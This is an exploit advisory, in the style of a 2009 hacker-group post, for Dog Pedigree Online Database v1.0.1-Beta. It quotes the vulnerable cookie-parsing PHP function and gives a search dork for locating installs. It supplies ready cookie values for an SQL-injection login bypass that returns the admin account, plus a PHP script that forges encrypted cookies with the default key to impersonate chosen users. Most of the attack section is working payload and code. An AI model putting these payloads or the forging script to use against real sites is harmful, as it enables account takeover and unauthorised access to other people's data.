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INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online Database v1.0.1-Beta-->
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------
CMS INFORMATION:
-->WEB: http://thewhippetarchives.net/twa_is_offline.php
-->DOWNLOAD: http://sourceforge.net/projects/dogarchive
-->DEMO: N/A
-->CATEGORY: Genealogy
-->DESCRIPTION: This project allows to setup and maintain a database for
collecting (dog) pedigrees. The data will actually be collected...
-->RELEASED: 2009-01-25
CMS VULNERABILITY:
-->TESTED ON: firefox 3
-->DORK: inurl:"printable_pedigree.php"
-->CATEGORY: COOKIE AUTH-BYPASS (SQLi) / INSECURE COOKIE HANDLING
-->AFFECT VERSION: <= 1.0.1 Beta
-->Discovered Bug date: 2009-05-08
-->Reported Bug date: 2009-05-08
-->Fixed bug date: 2009-05-12
-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#######
///////
INTRO:
///////
#######
Cookie name --> it could be configured, but any web change it.
Cookie protection --> Active by default, but some Webs use it and other neither (Because it
needs php_mcrypt extension).
With cookie protection --> Any web change the $COOKIE_KEY value. Always by default
###########################
///////////////////////////
COOKIE AUTH-BYPASS (SQLi):
///////////////////////////
###########################
-----------
VULN FILE:
-----------
Path --> [HOME_PATH]/php_users/htdocs/
File --> users.php.inc
Vuln function --> init()
function init() {
...
$cookie = $_COOKIE[$USER_COOKIE];
if (isset($COOKIE_KEY)) {
$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB),
MCRYPT_RAND);
$cookie = mcrypt_decrypt(MCRYPT_BLOWFISH, $COOKIE_KEY, base64_decode($cookie),
MCRYPT_MODE_ECB, $iv);
}
$cookie = rtrim($cookie);
$a = split('&', $cookie);
$i = 0;
while ($i < count($a)) {
$b = split ('=', $a[$i]);
$key = urldecode($b[0]);
$value = urldecode($b[1]);
$this->{$key} = $value;
$i++;
}
$this->id = $this->{'uid'};
}
..
---------
EXPLOIT:
---------
1.-WITHOUT ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> email=&uid=-1%20or%201=1#&seclev=
2.-WITH ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> Ffq9xizFlqX%2FLFytv2XsUILuolhabq3%2BN5A0%2B3ifmNdjLEIqh%2BKIXA%
3D%3D
Return --> Admin account.
##########################
//////////////////////////
INSECURE COOKIE HANDLING:
//////////////////////////
##########################
<<<<-------+++++++++ Condition: Search e-mail and uid (it's not difficult)
++++++++++--------->>>>
------
NOTE:
------
Use an cookie builder (need php_mcrypt extension)
to encrypt the cookie value:
<?php
//Configure [real_email] and [real_uid] with your target
$COOKIE_KEY="somethingRAndoM9871234whateveryoulike"; //user.conf by default
$cookie="email=".urlencode('[real_email]').
"&uid=[real_uid]&seclev=1";
$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
$cookie = base64_encode(mcrypt_encrypt (MCRYPT_BLOWFISH, $COOKIE_KEY, $cookie, MCRYPT_MODE_ECB,
$iv));
print "Cookie crypted-urlencode -->".urlencode($cookie)."\n";
?>
-----
PoC:
-----
1.-WITHOUT ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> email=[real_email]&uid=[real_uid]&seclev=1
2.-WITH ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> Use PHP script above
---------
EXPLOIT:
---------
1.-WITHOUT ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> email=y3nh4ck3r@gmail.com&uid=2422&seclev=1
2.-WITH ENCRYPTION:
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> 7O%2By0gnSt4KItondpdwQThDciQY6aR3QfFGEvZQzUGQWNkYwIUI4lfiZ1WQgnEc%2B
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
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